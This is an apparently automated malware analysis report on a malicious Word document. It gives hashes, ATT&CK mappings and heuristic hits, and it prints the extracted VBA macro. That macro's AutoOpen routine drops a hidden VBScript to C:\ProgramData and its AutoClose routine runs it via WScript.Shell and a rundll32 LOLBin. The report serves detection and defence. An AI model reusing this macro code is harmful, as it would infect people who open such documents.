Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 661c2206950650a8…

MALICIOUS

Office (OOXML)

60.3 KB Created: 2020-07-17 15:25:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07
MD5: db5d125acc4334c4be79fbf63ff82f3e SHA-1: cd9626c9b26b5d324fbb7557a02c71cd0882ac98 SHA-256: 661c2206950650a86d8852ac3c62b9693b9e0527f5b63e3e02f1de430bce5f69
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with AutoOpen and AutoClose functions, indicating malicious intent upon opening and closing the document. The AutoClose macro utilizes WScript.Shell to execute a VBScript file located at 'C:\ProgramData\Grames1.vbs' using 'rundll32 URL.dll,FileProtocolHandler'. This suggests the VBA code is designed to download and execute a second-stage payload.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set Mamters = CreateObject("WScript.Shell")
Mamters.Run "rundll32 URL.dll,FileProtocolHandler" & " " & "C:\ProgramData\Grames1.vbs"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set Mamters = CreateObject("WScript.Shell")
Mamters.Run "rundll32 URL.dll,FileProtocolHandler" & " " & "C:\ProgramData\Grames1.vbs"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Mamters = CreateObject("WScript.Shell")
Mamters.Run "rundll32 URL.dll,FileProtocolHandler" & " " & "C:\ProgramData\Grames1.vbs"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Private Mamters
Sub autoopen()
Open "C:\ProgramData\Grames1.vbs" For Binary As #1
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    End Sub
Sub autoclose()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1673 bytes
SHA-256: 993da74d58674c23cecd313d2676cc2247b474f638d5642aff1df99f5069ed0f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "OptionButton1, 0, 0, MSForms, OptionButton"

Attribute VB_Name = "Module1"
Private Mamters
Sub autoopen()
Open "C:\ProgramData\Grames1.vbs" For Binary As #1
Put #1, , "                                               "
Put #1, , "                                                 "
Put #1, , "                                  "
Put #1, , "                             "
Put #1, , "                           "
Put #1, , "                               "
Put #1, , "                         "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "
Put #1, , "                           "


Put #1, , ThisDocument.OptionButton1.GroupName


Close #1
Application.Quit SaveChanges:=False
End Sub
Sub autoclose()


   
Set Mamters = CreateObject("WScript.Shell")
Mamters.Run "rundll32 URL.dll,FileProtocolHandler" & " " & "C:\ProgramData\Grames1.vbs"

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 7dcf9f9683f410f29ec324d0c60c68f66adb933b340669da786bfe20bef5b6c0

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